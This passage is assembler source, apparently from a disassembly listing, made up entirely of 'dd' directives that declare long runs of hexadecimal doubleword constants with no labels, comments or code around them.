		dd 0DB25CFCAh, 0DE6FB900h, 3F27338h, 0A9795C96h, 7A621C00h
		dd 9D9E35ACh, 0D41D9B03h, 0C056D98Bh, 0FDB3054Ch, 7589030h
		dd 90E5D768h, 0D65E0DFh, 4D3F9F71h, 7C118089h, 0F5E77902h
		dd 0F7EED8h, 0BDA3288Fh, 321E2310h, 9D009277h, 19AEA4B2h
		dd 20D12BF8h, 0FC0077FEh, 780DE3F5h, 3EDFEEh, 6EDBB206h
		dd 4146DEBBh, 19317E00h, 0BE52CE7h, 5FE80B84h, 16807952h
		dd 4114A232h, 0E672ED16h, 0F10C3C00h, 0DC5D63h,	4DF5D252h
		dd 0B4223A98h, 0B8C8CC00h, 9CCA5304h, 288090EFh, 0E6AC6F31h
		dd 48497D59h, 975989Dh,	0F9AE2FC7h, 0FE1BA820h,	8158895Ah
		dd 488A32A4h, 0A42F229Bh, 0CB80A727h, 995E8Dh, 60E595F6h
		dd 9B6D0874h, 107FEC30h, 48BAFD7Bh, 631EE011h, 7EAB428Ah
		dd 85E146E9h, 0BE1FE85Ch, 2FE7F000h, 4BD95F2Bh,	0A90B00AAh
		dd 50CA2530h, 0EE000E7Fh, 0A7D4D313h, 0CC7DDBh,	86C2014Eh
		dd 0F3C6CBA4h, 3F265300h, 75561DBFh, 0E73A0083h, 20B63EBDh
		dd 0C200522Dh, 0A738CBF9h, 0C6A6EB8h, 61180E22h, 600B618h
		dd 9AE7B232h, 2EF0171Fh, 20834F7Ah, 23B0F4h, 9F5BC119h
		dd 8E0732E0h, 6D6AC300h, 0B15ABA17h, 53050052h,	41CB9AA8h
		dd 9E01C461h, 0D2E65E3Dh, 12835C88h, 24CC3630h,	92070DC8h
		dd 1835062Ch, 0C2B09700h, 53D1FDh, 0C8A07E44h, 4AD9F5B9h
		dd 0AB773D00h, 39ED7260h, 123FA1Bh, 0B8550E5Bh,	80C1371Fh
		dd 0B440B5D0h, 0B833B2Bh, 8B9829F3h, 0DD265400h, 1F09E703h
		dd 206CB2F8h, 0AF365BB4h, 718A3D61h, 0DD38FD00h, 0DE68493Eh
		dd 0FF63230Fh, 6DF24597h, 5BFC50D0h, 15E7B57h, 0A029B093h
		dd 40463D8Fh, 475A7A9Ch, 41741A18h, 0DB9E10h, 4E137252h
		dd 9495FEC8h, 0DC040200h, 8E71A20Bh, 89B51FFFh,	80F4A666h
		dd 45A7ACD8h, 4290D78Fh, 0A1E05BF0h, 68CCD31Fh,	5A8938ACh
		dd 0D20C801Ah, 0BE8B13h, 28179FA5h, 70CB380Bh, 0C75E1903h
		dd 80718248h, 3FA764F7h, 970025C9h, 0BB59C195h,	701E370h
		dd 886E6DAEh, 0D6D0A042h, 18B21476h, 0B400D8A8h, 0C6517974h
		dd 0AD0365BFh, 631C2D5Dh, 99BAD8F5h, 0E7E10194h, 7009F414h
		dd 53222096h, 3CA14F00h, 0B320EB37h, 3E710083h,	7BDADE89h
		dd 0E9C0B2D3h, 33C47650h
		dd 48F600ACh, 5E1F2EB0h, 9801B37Ch, 6631B2DFh, 21E0E594h
		dd 0CDB074h, 0D835034Ch, 57A982C7h, 338C4F54h, 0E113E0EEh
		dd 0B8029FA8h, 1690B59Ch, 61DE600h, 0B70F6AAEh,	23F10097h
		dd 0B8465580h, 1E480C96h, 11661EC8h, 0EE38C887h, 3A04FE80h
		dd 73E501C1h, 62D7103Bh, 9FCE30F1h, 2C418A09h, 4FB08046h
		dd 7DEFBDA4h, 43A75B7h,	9A8F5EABh, 30A480E3h, 95044E5Ch
		dd 2FF49468h, 801F99C0h, 560A007Fh, 0EFE9E5D0h,	6AFE0427h
		dd 420006B0h, 641DCB73h, 4E78FCh, 0A1966268h, 8159FCCh
		dd 25FE7907h, 5E443811h, 237E6080h, 3827707h, 3D579FB3h
		dd 4ED36BD0h, 2F51A088h, 6A8D500h, 0E1EDDA03h, 70E79B8h
		dd 55BD5432h, 86D6E0EEh, 73989F4Eh, 0E9800D60h,	2B6659h
		dd 11750AE5h, 7C671771h, 9951A903h, 0F9BE2A15h,	19301ED4h
		dd 0E030483Dh, 24CB2B50h, 0E64Eh, 29B872C0h, 3C7DEE2Ah
		dd 0D76BD00h, 3E0522ACh, 898D00A6h, 2106C8AEh, 75044E47h
		dd 0F5C0C551h, 0E57B00D0h, 0A83500AEh, 1AEE1E1Dh, 432CB505h
		dd 0FA0048A7h, 852F3D2Ch, 65C60677h, 18E95B25h,	8DF71A0Eh
		dd 880C8971h, 22061808h, 0A92F24h, 0AE8805DAh, 0B28765D8h
		dd 98C20904h, 65803112h, 0F398DD7h, 73796C99h, 0BEB1100h
		dd 6901A42Dh, 8DCF2471h, 5982E77Bh, 579BCA3h, 0A2B904C8h
		dd 0B0DB7406h, 0FB80F54h, 0D0C6358h, 0B88DD6A0h, 2F00272Ch
		dd 46F15FA3h, 0B36F9Dh,	0D8BE451Bh, 0B6088A32h,	75D20918h
		dd 13E70190h, 58F5207h,	0C0507EA7h, 0DA985FF5h,	96218600h
		dd 0A66544E1h, 775A0003h, 407B1C35h, 0AB005C70h, 0C2478959h
		dd 0F9452A7Fh, 0C09A60h, 0C12734D4h, 0B4A880ACh, 58E3D73Fh
		dd 0CC890527h, 4AC0EF8Eh, 8C585Ah, 4265710Ah, 33DF607Ch
		dd 0E909AF78h, 0EB893C8h, 0E0D6C071h, 58EB2064h, 9C24C851h
		dd 3A9687F4h, 774EE00Bh, 0AA005DA5h, 2FBDE955h,	65C109Dh
		dd 19026922h, 354CCB0h,	0E21C7BA0h, 5280923Dh, 0F90C6785h
		dd 3FB20C2Ah, 4358A2A0h, 0E42E3A2Ah, 4F1DCD01h,	160CCEE4h
		dd 94C8A1E2h, 5C758EE2h, 2423E0h, 11EB1B13h, 65A67BA8h
		dd 3017F300h, 10D4786h,	0FDB1E0Eh, 7A838024h, 0F9E3D1B1h
		dd 4A344254h, 91C69F00h, 94A58927h, 0D84300B0h,	42052BA7h
		dd 7A00F41Bh, 753CABB9h, 6129F57h, 0F9D11AF3h, 0A003D90Bh
		dd 6C3D8225h, 0FA6BE984h, 3733D4h, 0A97C33Ch, 0F6654B39h
		dd 132EBD01h, 2B010BC9h, 8193F880h, 98BC26E1h, 0D4F5E1C0h
		dd 0E20D2C9Bh, 0D02A0514h, 439AA1B4h, 0DA76A680h, 8C65EE00h
		dd 1660608h, 1BED0224h,	5D4BB943h, 31A89086h, 0FD7F0EFAh
		dd 8D0188BAh, 8886C791h, 7BD0C941h, 77C507DCh, 703D539Eh
		dd 0E707B89Ch, 4BDD2100h, 64057662h, 657C56h, 7A903D85h
		dd 3F664686h, 33294400h, 0D53478D7h, 35A605FCh,	8082D4E3h
		dd 11D86659h, 25E0CF1Eh, 0B618CEDDh, 90EE6421h,	14770292h
		dd 89BE07F1h, 9EBB9161h, 76BC6B21h, 6281570Fh, 0EECEA154h
		dd 0E9D19219h, 28D6D8h,	6D86F02h, 1FF8B995h, 74D5010Ch
		dd 0A2409Ch, 0E66EC335h, 0B9705A14h, 0A062210Eh, 218A8CBAh
		dd 0E6870F25h, 0FFA07765h, 0E15316C7h, 9D615D3Bh, 94806B43h
		dd 72E3346Fh, 7A0C1BA5h, 0B4C038E0h, 17006367h,	6F404154h
		dd 0E842194Bh, 8D21C3BDh, 24D8636Ah, 0A302E63Ch, 813FD456h
		dd 0FDE62ED6h, 7498A98Ah, 2569DE00h, 37409D92h,	5C4634FEh
		dd 103C2E80h, 5C0A3AFh,	45DFA797h, 0FA0D9800h, 0AFA2DE7Fh
		dd 94B25289h, 65046F23h, 7C415E6h, 26249438h, 1D9EE67Eh
		dd 2DA691h, 0A75F206Eh,	0AE14DE3Dh, 62CB8F5h, 0C49DB0C7h
		dd 14600E10h, 32808EFFh, 0A40276A1h, 84E55609h,	1F5D00DAh
		dd 0FE5D63h, 0AA03AF9h,	3007D06Bh, 8834D500h, 213781CDh
		dd 96695C7Fh, 9CD98407h, 65B0307Bh, 84904D6Ah, 0F100377Ah
		dd 69440370h, 1684E1h, 6820229Dh, 9CA59ECh, 85197503h
		dd 1E2C58E6h, 0C0FB0118h, 5CAA697Eh, 0BD0064A4h, 24846D89h
		dd 0ED9ABBh, 35650D78h,	694FA161h, 0C2C49900h, 2383001h
		dd 137D1058h, 0F93C0344h, 0BFEB3B6Bh, 20E31DC1h, 3C9CD8F0h
		dd 7061510Fh, 0D3251966h, 5B2240E7h, 9807404Eh,	59162E8h
		dd 26B29610h, 95E6126Ch, 868A006Dh, 3778B7E2h, 5168270Eh
		dd 13222061h, 1D12B2F3h, 810533h, 0CD60F6C3h, 0B0A8607h
		dd 4F2AF4Bh, 0C2056200h, 0C003C0F6h, 391A7D14h,	2B00FA81h
		dd 8AD70643h, 18E115Eh,	8088D65Ch, 0D3F7EA02h, 5D005879h
		dd 0EC5579C7h, 0CC73CE67h, 0B621E209h, 4EC4D500h, 0D4620233h
		dd 5A830008h, 1F80F69Fh, 760B4D46h, 619D63Fh, 0C020B659h
		dd 0C2DC80B1h, 14672889h, 37A07211h, 7E71DA4h, 8F85A1D2h
		dd 213946C8h, 3844B50h,	0F45ACF0Bh, 92803F2h, 0E7D6FF83h
		dd 0ACFE3091h, 25684961h, 9008AB00h, 7AE75BADh,	3B80DDD7h
		dd 811B6280h, 4F0BD9F4h, 0B92C5A00h, 0CE3153B1h, 0A0F57C22h
		dd 306260B0h, 0D28C2BFh, 0F800FEC7h, 0BBC89063h, 2DD2A31Ah
		dd 0AFCCC38h, 53F78D00h, 1CE90BABh, 42C09E37h, 0BECC982Dh
		dd 0E6F9A5E3h, 5DBFFC6Fh, 3A324100h, 9FE1E7Bh, 81771C91h
		dd 0AD803DB3h, 8DA5D178h, 0C63A80C3h, 0FF1C858Fh, 26C0F268h
		dd 16FE4B9h, 0D07A9722h, 0D0154F94h, 0B70F187Eh, 20204DC3h
		dd 22F7C651h, 24E01Ch, 9DD5803h, 83D62B6Bh, 0BD9C5B00h
		dd 0B5483D8Fh, 61A8142Fh, 0E203930Eh, 8CA43A7Ah, 3743B4D8h
		dd 977F9FB0h, 0D6D56C03h, 0C29C40BCh, 0B145402Eh, 46D200C0h
		dd 0E9F8C63Eh, 7B00578Fh, 5E7FD0A8h, 3F9E8D71h,	1A8F6B52h
		dd 4C0AFE4h, 5AA39F2Ah,	8E20290Fh, 87924F33h, 5F91F398h
		dd 0AEC14380h, 9315F4h,	65992DADh, 0AFE633A4h, 52A1D609h
		dd 6D2808Dh, 3C933009h,	0CA006C7Dh, 8FA7E559h, 0E10B9ADFh
		dd 8022E651h, 6A5C4335h, 1EF00132h, 0B397235Ah,	9D4AF83Bh
		dd 0A2193800h, 899B7A8Ah, 728D061Ch, 29A351F0h,	0D1112F42h
		dd 171D119Fh, 0F438A621h, 22EEC289h, 0D2216C1h,	42E722A1h
		dd 8B2D0721h, 0E610D502h, 968008CCh, 0A545EBB3h, 0D593C04h
		dd 4AABE044h, 6E1F14DFh, 0ED218CD0h, 18937110h,	5EBB2808h
		dd 29031AB0h, 0B5F06B79h, 3D4FB87Ch, 0E2D90778h, 80EA61AFh
		dd 1A735F40h, 296FDA07h, 0B900D366h, 5724612h, 2311D20Dh
		dd 6E9E0043h, 8ACDFECEh, 9E176A03h, 0C82EB398h,	7636390Fh
		dd 0F4F100ECh, 577DC3E7h, 0C90152D9h, 5A38BE5Eh, 0F0CB3779h
		dd 32BAEECh, 8AE94B1Fh,	5BE8F0C1h, 3377B41Bh, 44ED3B00h
		dd 9F05D0EBh, 0E3DA1F61h, 12604082h, 5DD3E2D7h,	48327700h
		dd 166AA687h, 1C9E3D6Bh, 0BE710207h, 5E2F60A8h,	15007A05h
		dd 9B62A384h, 36D961h, 9958EFD1h, 0A9916E85h, 2DB69E03h
		dd 0F03D5033h, 6F5C5Fh,	88A44EBEh, 0D55D5E3Ah, 0B794E703h
		dd 718A6Eh, 6A5AA179h, 60EB74D4h, 0AFC62401h, 304F0EE0h
		dd 0B4F497E1h, 50151EE1h, 9A1F002Eh, 0F253BDDCh, 0EF3B3Dh
		dd 418A9BA1h, 62CEBA2h,	0DBA17AAh, 0FC00D028h, 0E7F56E42h
		dd 19E59B9h, 0AEAF1577h, 0CC5B1C0Ch, 0C301200Bh, 8E7F9830h
		dd 71D86CF5h, 0B37500ACh, 8BBB0EA1h, 0A3009240h, 823B8833h
		dd 576FF18h, 898C6ADh, 1EE8C0CEh, 6E7BC550h, 0BD832500h
		dd 469B720Bh, 0C0850044h, 0CCCB4CEFh, 0B700262Eh, 0F805A093h
		dd 7EC3B660h, 7F0207E5h
		dd 0E06BDF9Ch, 0BF59F4F6h, 0C73300Eh, 3A47E0ECh, 14388F11h
		dd 942D28FFh, 0E3D9F101h, 0C4CC21E4h, 0AD008376h, 0CE1CE1E6h
		dd 8E2C47h, 28A26478h, 23BE6DF9h, 8F6C8F8h, 4BF67702h
		dd 40C163F5h, 0C64E3Ch,	695E25Bh, 0DFE6272Ah, 4687EF00h
		dd 0C74C6CA0h, 992E3AF8h, 4481403h, 0A2C8E049h,	503E8B3Eh
		dd 0FFE98037h, 8541A751h, 278F00E4h, 3B14CC88h,	42007BF9h
		dd 0AF0944Ch, 9CF2EC9h,	22B21613h, 0D5E9EA80h, 94004317h
		dd 4B7E129Bh, 62619Eh, 0F65A0984h, 25E2D639h, 146FE724h
		dd 90E4851Dh, 1965A800h, 1EA91473h, 80782286h, 3A8AD45Bh
		dd 2F000E24h, 102AC276h, 15341F4h, 6C37C4B5h, 0D05EC0CAh
		dd 3400F95Dh, 6640A00Eh, 0E1C2F01h, 0BF10FB6Bh,	9207EB17h
		dd 0DEF08F32h, 1CB2330Fh, 4063C384h, 0ABF95ACAh, 4A00B0ECh
		dd 471086F0h, 2BBB9C9h,	46AF8C33h, 8D80EBD4h, 10CD3813h
		dd 47F73600h, 0BB567AE6h, 287E019Eh, 3AF6F3Fh, 0CA98D7F6h
		dd 6C00ACC8h, 0EE8CFD23h, 17FE88h, 0F41C5871h, 9FBF7382h
		dd 98EDCB18h, 0B0693A4Ch, 0F127073Bh, 82AD1C21h, 0BAC09BA3h
		dd 8E00B243h, 235EB47Bh, 3B348590h, 1D007AD5h, 764CE768h
		dd 0D7706BBDh, 5BE33E00h, 9DDD437Fh, 1D0890BFh,	0E253BE56h
		dd 7C148B00h, 782D13C2h, 0ED5A0769h, 10CE6322h,	754AF1CFh
		dd 0C98D5100h, 0D913BBEBh, 8EA2007Eh, 0E690734h, 0F100602Dh
		dd 54FA7148h, 1E6A488h,	2F052986h, 21BC7FD4h, 953420A6h
		dd 0A8498F00h, 0A17353AAh, 6A570BDAh, 20813FEEh, 0E0FC5E32h
		dd 0F7EE4976h, 0CA5D9A00h, 0F85691EBh, 82151C06h, 0B413006Dh
		dd 11673775h, 0DB391003h, 0F03BE6EFh, 0F8E47C95h, 0BF3D00B7h
		dd 81790C6Ah, 1B3D9725h, 0EF4D0348h, 0B0EB8A56h, 7DCDFB2h
		dd 0F3834267h, 0C234F138h, 0ECCBC491h, 0FF95A801h, 11DFFAD0h
		dd 710C48F4h, 799A00EDh, 2416A1F3h, 0FF008B6Fh,	0D40BE985h
		dd 898209h, 1DD6F246h, 8D51477h, 0DE95CD0Fh, 74F460B9h
		dd 7F666Ah, 42B026C7h, 511E46D4h, 0D2CA4500h, 0B6B8932Dh
		dd 91773AC0h, 0CDDC4800h, 0F8BEFEDDh, 7F7EEF00h, 9847F18Dh
		dd 5898FFh, 84EE9AD2h, 69B251E2h, 0FEC0FC07h, 7187E3DBh
		dd 607C8870h, 6F9042h, 0DA65936Ah, 0C24EAC29h, 0D49E3B00h
		dd 0D31BC5A0h, 0A6E50097h, 355F340Dh, 890099A5h, 0B9812F37h
		dd 12D519E2h, 80B2443Ch, 302A3A70h, 0EC31071Eh,	0F7EF9B40h
		dd 7B331FE4h, 243C5C05h, 0CB369000h, 0A0C52C0Fh, 70F0F32Ch
		dd 0D29CBF00h, 3211BAEh, 745E2B60h, 0E0B83952h,	66EA1135h
		dd 9FFD3800h, 1BCF7E2Eh, 88C300B9h, 0C28E3F25h,	8B00EDE2h
		dd 345C7669h, 90303B7Eh, 0AB8A0090h, 0F2B58E4Dh, 0CF006A3Ah
		dd 0C7B44259h, 1E51F618h, 0FFE241ADh, 3F267380h, 7A24A16Dh
		dd 0D784B903h, 0A0ACA9h, 0C227AA10h, 85AB20BFh,	0F0E10800h
		dd 54C04F8Bh, 0BFE71B2h, 3E28E835h, 0CC97C00h, 9400EA45h
		dd 63C5AD2Dh, 0A722A2h,	77C39CD8h, 96095FF4h, 804B6C3Dh
		dd 4D50DB1Ch, 642B11h, 846A3648h, 982EFDB8h, 0AD694200h
		dd 41D6ACE1h, 0CF31009Ah, 1A8AD76Eh, 0FA00D15Bh, 344D8B63h
		dd 0BCC4E7h, 5C184783h,	0FD0BF1C8h, 0B13D1898h,	0CEA9071Ah
		dd 9DB53309h, 0C1849F00h, 1D29ABh, 81C6BA27h, 6AC6F3Ch
		dd 459D2E00h, 0CE15CF69h, 64BA1Eh, 0D6A2A875h, 0AC8295EBh
		dd 0EE001898h, 0A0C1FBE5h, 3A4F3739h, 383C4006h, 2D49380h
		dd 15FBB25Fh, 7B732B1Fh, 9841DB80h, 0E22809h, 1379890Fh
		dd 43240BB1h, 3C00CA75h, 6512C4E9h, 0BE6F1CBh, 0C3684BE8h
		dd 0F1A5A207h, 60848FEBh, 0A71FCC2Eh, 80424F07h, 0C186E4BFh
		dd 0F0BFFB4Ah, 0C1209380h, 340C71C2h, 0AF1C43Fh, 0F00546B2h
		dd 8F334F00h, 17B5B9B3h, 145FF23h, 1E74CBCCh, 5926026h
		dd 70FD3000h, 8E2D4F1Dh, 0F0AA679Ah, 0C2406F86h, 38293AAFh
		dd 3C411F17h, 2A054B00h, 5C1107E2h, 0F40F9F2Ch,	6A603A8Dh
		dd 7925F00Dh, 0C486C607h, 45D06F5Ah, 0A3AF43h, 7D5DB9E5h
		dd 70D54A3Eh, 0E11E74B0h, 9070C79Dh, 38BAA216h,	2A80BD20h
		dd 8D4B85D8h, 58BD75F5h, 175400D6h, 65370BDEh, 0BE7A89CAh
		dd 28823D00h, 0B646A7C7h, 0C92B00FDh, 6036A1F8h, 0EE793AC5h
		dd 0F0F13E00h, 7E3775Eh, 0BE7600C2h, 74277B97h,	8F00E826h
		dd 2EBA2B19h, 0EE34CCh,	590E1843h, 0FE10E49Bh, 0A8505A24h
		dd 8FAB0600h, 322124h, 0B505F812h, 2843D9A3h, 13D60C00h
		dd 0F4DBACADh, 8F79BCh,	9632B890h, 0DC3F52Ah, 52D7B000h
		dd 0B414CA33h, 0E43C000Eh, 0FC4B3AFh, 19050993h, 1A717370h
		dd 9C1010C7h, 0E088BACh, 3A282C25h, 529F22A1h, 3F1AD8F3h
		dd 0E333EF00h, 0BBE6ABFAh, 0E7603EAh, 0DB69A64Eh, 0B532B002h
		dd 0E01BD731h, 0B8491F14h, 44700A57h, 87E8029Ch, 3203A0D9h
		dd 10605C3Ch, 0A124C025h, 0C6808028h, 4EC7DA24h, 1F1AEE3Fh
		dd 0C0E11C4Ch, 43D22BFEh, 5B0E4E2h, 7B981300h, 11E3C75Eh
		dd 0BB2EA0Dh, 0D410DDAAh, 70701C27h, 9FDEEEFBh,	67E27400h
		dd 0DA62F927h, 80CE0E5Dh, 0EDE42277h, 7B55C0A6h, 7403E570h
		dd 4D72FCFDh, 0B2110087h, 943C53F3h, 4558E90Eh,	88193A1Ch
		dd 923783h, 0F13B12B3h,	6D00E7EFh, 75AB94C0h, 1CFE262Fh
		dd 0FD5733h, 0F0651B5Fh, 5050F306h, 4900D594h, 0B6BF28Ch
		dd 0B04759h, 2C5F011Eh,	2DB819C2h, 79981154h, 83096FECh
		dd 0B6E839h, 7CDF7E54h,	323A073Fh, 20B2D667h, 306B5C50h
		dd 96CC3Ch, 1A5686CAh, 0CBED1Ch, 7870549Bh, 4442D5EBh
		dd 5E2580C1h, 81C4A361h, 5DFBA079h, 0AB37504Dh,	950E0C47h
		dd 0B8825466h, 20ED4201h, 3D9DFAA8h, 12B4F3D4h,	837BA41Ch
		dd 48C09004h, 0BB004D3Fh, 8767232Eh, 50986C03h,	88E69Dh
		dd 0E84C2BA3h, 92F85F5Eh, 98A027E6h, 65D491Bh, 80882564h
		dd 73E8CAB8h, 957D005Ch, 222F0DD6h, 5600DF92h, 480FF8D8h
		dd 4A8B57h, 0F19BB42Dh,	55CB01D1h, 0BC51B900h, 7B5AEE72h
		dd 0E5401A8h, 3C63AC24h, 0D7CD603Ah, 677CCF00h,	142F7468h
		dd 0FC149018h, 0BFDC147Ah, 0D9098C41h, 6023CD31h, 20874D45h
		dd 791FBCE2h, 9E289100h, 0A65F50F9h, 276000F7h,	6EBE2A20h
		dd 1E247FC3h, 0C209543Fh, 0DF5F80A9h, 6CC8FFh, 32E56515h
		dd 4D865970h, 0A718C901h, 2D220385h, 0EF0B05C4h, 26C856E0h
		dd 28C033EAh, 77240004h, 4CBF76C1h, 3426107Fh, 3907C0FCh
		dd 600E054h, 0F07CCC35h, 0F24B00B2h, 5565D2B9h,	4F00458Bh
		dd 0E3F444F3h, 9D08FBEh, 5FB797CCh, 0F1472CC0h,	0CAB5BC03h
		dd 0FA526D8Dh, 0C6C060AEh, 0E26300C0h, 6AF29998h, 7603914Bh
		dd 95DEFDBBh, 148D8801h, 0FB6900EFh, 75620B8Fh,	90005765h
		dd 1D77225Bh, 0EC9C41h,	0E13F30BDh, 0F3CD6AEFh,	54ADC00h
		dd 0D72F82E5h, 1E6100B6h, 0A4AF2285h, 0F34858BAh, 0C81C2AD1h
		dd 77BD931Dh, 0CE1121h,	1F02ECC6h, 0B31D86h, 9ADB79D5h
		dd 7F554A2Dh, 8D27700h,	2837AA02h, 0C081A127h, 0B87A25FCh
		dd 26C9045h, 0CB1E1122h, 6EE06ADFh, 6000C3F9h, 7C51DBB7h
		dd 18E487BFh, 884E3C55h, 0E8B207CDh, 88B70D00h,	163FA4ADh
		dd 0CE130021h, 0A2A7CF7Ah, 1A000417h, 14A67840h, 0B82F03C1h
		dd 0B6B0002Ch, 3002C518h, 6B240B9Bh, 0B4204C0Eh, 82627212h
		dd 1E29B8D0h, 0DD1A0FD5h, 5AE371EFh, 60F7F75Bh,	12F2D241h
		dd 473E0498h, 76DE83F5h
		dd 0A0B08017h, 8AA41Ah,	8CB766EDh, 7D3E474Ah, 489C3550h
		dd 5922C01Bh, 1F95C0C8h, 8CBB00B4h, 1C241ED9h, 651E30F0h
		dd 8FC497AFh, 20A00B7Fh, 217A04EAh, 0C315449Dh,	0F7B0F048h
		dd 0F400FDBFh, 0B8B5FAE7h, 382CAC3Ch, 1E308706h, 6B0F8D59h
		dd 0DCE2230Ah, 880D841h, 6894EF34h, 0A6D0E1Ch, 0E6C0F90Ch
		dd 7E2B9F67h, 6944AD00h, 252041EDh, 39DB0D8h, 0E6EB86E9h
		dd 0B9FBFEE4h, 7DCA6103h, 3A1ABA63h, 3A802358h,	88642A36h
		dd 49143C21h, 955C05h, 0D88C8D6Dh, 0B0BCAB2Ch, 73880030h
		dd 90D3339Fh, 0A41C0B38h, 807A1DB8h, 5B03DB3Ah,	0EC841299h
		dd 98861E5Fh, 0A8154006h, 3108FB6Dh, 427DDA00h,	633010B6h
		dd 0EB9000C8h, 180433FDh, 6B00DE3Dh, 792DCBE8h,	737A4BA8h
		dd 21750022h, 46B68361h, 9B00F969h, 1F76FA25h, 568A43h
		dd 9354D105h, 80356C64h, 9400CFE4h, 38D9D2FFh, 5077192Eh
		dd 769C83Eh, 0FC193A9h,	0E052033Fh, 63F5ADA8h, 34064801h
		dd 2F4224Ah, 2A1F2F4h, 0AED4D4Bh, 4606235h, 0D9004913h
		dd 59CDC7BEh, 26B461F0h, 26D45479h, 1DA83D88h, 6FC405B0h
		dd 0A02B5536h, 69E8562Ch, 0F70EC03h, 808617B5h,	722A1639h
		dd 0F0ED54A8h, 17D3F9Eh, 7F840D02h, 4C404D6Bh, 2D041537h
		dd 2AFE4E46h, 66244097h, 0B4030CB1h, 38EAB053h,	19FD0015h
		dd 9CFC51ADh, 0DA0079E6h, 404A3C97h, 0D82C74h, 46F84FD9h
		dd 9EA82119h, 13B0DD7Bh, 0E9044B00h, 3532FB1Eh,	7F18144Ch
		dd 0A2009847h, 7ACF8C63h, 0EDFE0820h, 594F4800h, 4979E804h
		dd 4C070055h, 0EF2A8C84h, 6100C913h, 7D191664h,	12609EAh
		dd 42E8016Ah, 60696702h, 6E38C160h, 0B9E4002Dh,	880562CDh
		dd 8624242Ah, 11313DEh,	7B812B8Ah, 6558C072h, 0BBE2AE00h
		dd 9BE5D9AFh, 15C70276h, 0A56FCA70h, 86EA41FFh,	928A40D4h
		dd 733D1C60h, 39B743B2h, 0BCA33533h, 1653B088h,	67248E00h
		dd 0FE982B0Ah, 0E486001Ch, 6C967005h, 8A0CEA4Eh, 507919A9h
		dd 73560007h, 0B0590891h, 4300692Bh, 1DA7930Ah,	0ECB61457h
		dd 0BF9400B1h, 270E67BEh, 3C480F8Eh, 0B4F800A1h, 2118AAD4h
		dd 54EA001Eh, 1F710B3Fh, 60765DEh, 0C6249EA1h, 4C630DF0h
		dd 0F52C0E27h, 5405DB5h, 1B7916C7h, 11D9D700h, 21B76BDAh
		dd 0EE430090h, 257596ECh, 4D09E659h, 7335B1Bh, 2C10A20Ch
		dd 17DCF11h, 7EA32FFAh,	0F557BE0Dh, 0A498D86Eh,	4B234100h
		dd 9C556608h, 94000D8h,	0FF78B0A8h, 523F619Eh, 289A0015h
		dd 5BE2D643h, 80744CB7h, 2DB04F26h, 0C7004650h,	2D0FB68Dh
		dd 0F7F3F1h, 2012D479h,	9B975953h, 61E41A03h, 0E0931BDDh
		dd 717176D1h, 0D35401D2h, 30B69236h, 0DEB4D8BAh, 20F48903h
		dd 0F0E7E59Bh, 300F79F8h, 6B1099D0h, 0D3384C58h, 412F00E2h
		dd 0C9DFDE63h, 843407ECh, 0B3D043h, 0F74B176Fh,	801E5B3Ch
		dd 539B136Eh, 704479E7h, 30C4245Eh, 8B000C0h, 6F49E23h
		dd 0D7880200h, 1275BE04h, 72F096h, 9E58E8BCh, 4F699B98h
		dd 0C18DDD01h, 82FFDED8h, 0FE22CCh, 0E8EDE53Bh,	0F34C77D4h
		dd 0D9810C07h, 53004589h, 2241170h, 98D26B6Dh, 0D4801E39h
		dd 0A360CE06h, 0EB3D8C00h, 0F7C7BC1Fh, 6CCD00F8h, 7B570717h
		dd 0FA1E7E03h, 73189790h, 8FF711h, 75306AA4h, 0B5B8DA62h
		dd 0DB258214h, 0F00070E0h, 779690CDh, 3D0D156Eh, 0FE04EEB0h
		dd 83688976h, 0F6E08D17h, 0C6035205h, 0F4505A42h, 0E4BD8832h
		dd 67080082h, 13717C7h,	2D00E6F3h, 0B52A52A9h, 0EC4492B4h
		dd 0DE1B00DCh, 2066A6CDh, 0F700967Ch, 7D10D232h, 3B65E1A4h
		dd 0FD80DB19h, 0ED8E1E23h, 0DF0028B7h, 46E5A367h, 4C4A6Ch
		dd 0E86D2174h, 240F4245h, 3706D003h, 0B81398E3h, 1F66487Dh
		dd 0C0186E50h, 40514D08h, 0DB1E6279h, 0DFC0D4E0h, 4CD3FFC7h
		dd 74BE246h, 0E21B6302h, 15EAD049h, 0C2005BB9h,	0A34F31E7h
		dd 3FB01h, 0FDC78A44h, 5D410DA8h, 0A9C0B461h, 0D5D0D648h
		dd 5ABD0035h, 7E5EE166h, 805C9A4h, 70814B75h, 3EFBC0BAh
		dd 6000D22Dh, 695FC09Ch, 7F236C28h, 0BEC4030Fh,	13564341h
		dd 0DAD1EDA8h, 4C4F2500h, 0E4D37B8Dh, 0BC6C00D7h, 0DE5DF07Eh
		dd 28005B77h, 5A090172h, 73D0C38h, 7962C9CEh, 0A0F87057h
		dd 68003AE4h, 20213EDCh, 84F127h, 6B8725E6h, 5DAEB4A9h
		dd 0F91D9903h, 0B8ACBDA1h, 0B8314Ah, 48D702Ah, 0A876BFA2h
		dd 4E571E00h, 7CCEBB65h, 0B4100AAh, 15C51295h, 2C7ADF72h
		dd 97605F07h, 0BB718A49h, 0AE8C226h, 0AB3E0091h, 87A324BFh
		dd 0C00015D7h, 0D5A674DFh, 7EFDB1h, 8998475Fh, 3DAAC339h
		dd 65BBA703h, 0DB54DB05h, 0C7BA1631h, 26790036h, 278EA48Bh
		dd 0D4F8A000h, 0C678CA3Dh, 7F4F0083h, 6D0189DCh, 0AE1F6B99h
		dd 0E30002AFh, 8444A455h, 298E00A5h, 0FAC13B6Eh, 0B2017E10h
		dd 9DE6DFA3h, 72EC4781h, 25AB3C36h, 2DF902FFh, 6D200E95h
		dd 0F34188C0h, 7291471Ch, 2600777Bh, 319D2ADh, 0C6402Ah
		dd 1FED97Ch, 0C5875DC7h, 0E93F6300h, 0FA49A595h, 89F0054h
		dd 0EB040305h, 520262F4h, 0A3B45C53h, 24004078h, 0BDED2407h
		dd 873100DDh, 8971194h,	912C3Dh, 9B0EA788h, 8B3014h, 25998215h
		dd 0A3A16A2h, 0B28D2307h, 7E0EA024h, 83C0471Fh,	0AB3C69BDh
		dd 0EED2639h, 0A4C20B20h, 6A2BE0Eh, 1840D3A3h, 0C43E62C6h
		dd 88C07B9Dh, 98408AABh, 75D6196Ah, 0D012083Ah,	8230E58Bh
		dd 9C23481Bh, 0BE7F0183h, 6E0E48FEh, 0B35D016h,	0B0787A07h
		dd 6001E734h, 9AF8BF2Ah, 8DC60C3Eh, 0C210847Fh,	97033F79h
		dd 6FF1EB20h, 8E7C030Ah, 691A7F1Dh, 0F2D20EB8h,	523A68C1h
		dd 6095C2D6h, 2F039476h, 6E14170Eh, 0C201A1C6h,	0FEF1485Eh
